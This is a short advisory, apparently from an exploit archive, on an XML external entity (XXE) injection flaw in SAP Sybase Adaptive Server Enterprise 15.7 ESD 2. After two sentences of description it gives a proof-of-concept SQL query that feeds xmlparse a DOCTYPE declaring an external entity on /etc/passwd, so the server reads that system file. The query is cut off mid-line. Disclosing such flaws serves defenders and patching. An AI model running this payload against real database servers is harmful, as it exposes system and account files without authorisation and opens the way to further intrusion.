SAP Sybase Adapter Server Enterprise XXE Injection

`SAP Sybase Adaptive Server Enterprise is prone to an information-disclosure vulnerability.  
  
An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.  
  
SAP Sybase Adaptive Server Enterprise 15.7 ESD 2 is vulnerable; other versions may also be affected.   
  
SELECT xmlextract('/', xmlparse('<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/passwd">]><content>&ab  
  
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